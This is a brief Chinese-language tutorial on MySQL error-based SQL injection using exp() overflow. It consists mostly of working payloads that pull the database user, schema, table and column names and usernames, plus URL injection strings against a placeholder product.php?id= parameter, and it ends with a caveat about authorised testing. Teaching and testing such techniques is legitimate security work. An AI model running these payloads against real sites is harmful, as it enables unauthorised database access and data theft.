SQL报错注入是利用数据库函数故意引发错误,从而在错误信息中获取敏感数据的技术。exp()
函数(指数函数)是MySQL中可用于报错注入的一个有效函数。
MySQL中当exp()
的参数超过709时(即exp(709)
),会导致双精度浮点数溢出,MySQL会报错并返回数据信息。
SELECT exp(~(SELECT*FROM(SELECT user())x));
SELECT exp(~(SELECT*FROM(SELECT user())x));
SELECT exp(~(SELECT*FROM(SELECT database())x));
SELECT exp(~(SELECT*FROM(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)x));
SELECT exp(~(SELECT*FROM(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)x));
SELECT exp(~(SELECT*FROM(SELECT username FROM users LIMIT 0,1)x));
假设存在注入点的URL为:
http://example.com/product.php?id=1
http://example.com/product.php?id=1 AND exp(~(SELECT*FROM(SELECT user())x))
http://example.com/product.php?id=1 AND exp(~(SELECT*FROM(SELECT version())x))
http://example.com/product.php?id=1 AND exp(~(SELECT*FROM(SELECT group_concat(schema_name) FROM information_schema.schemata)x))
请确保只在您拥有合法权限的系统上进行测试,并遵守相关法律法规。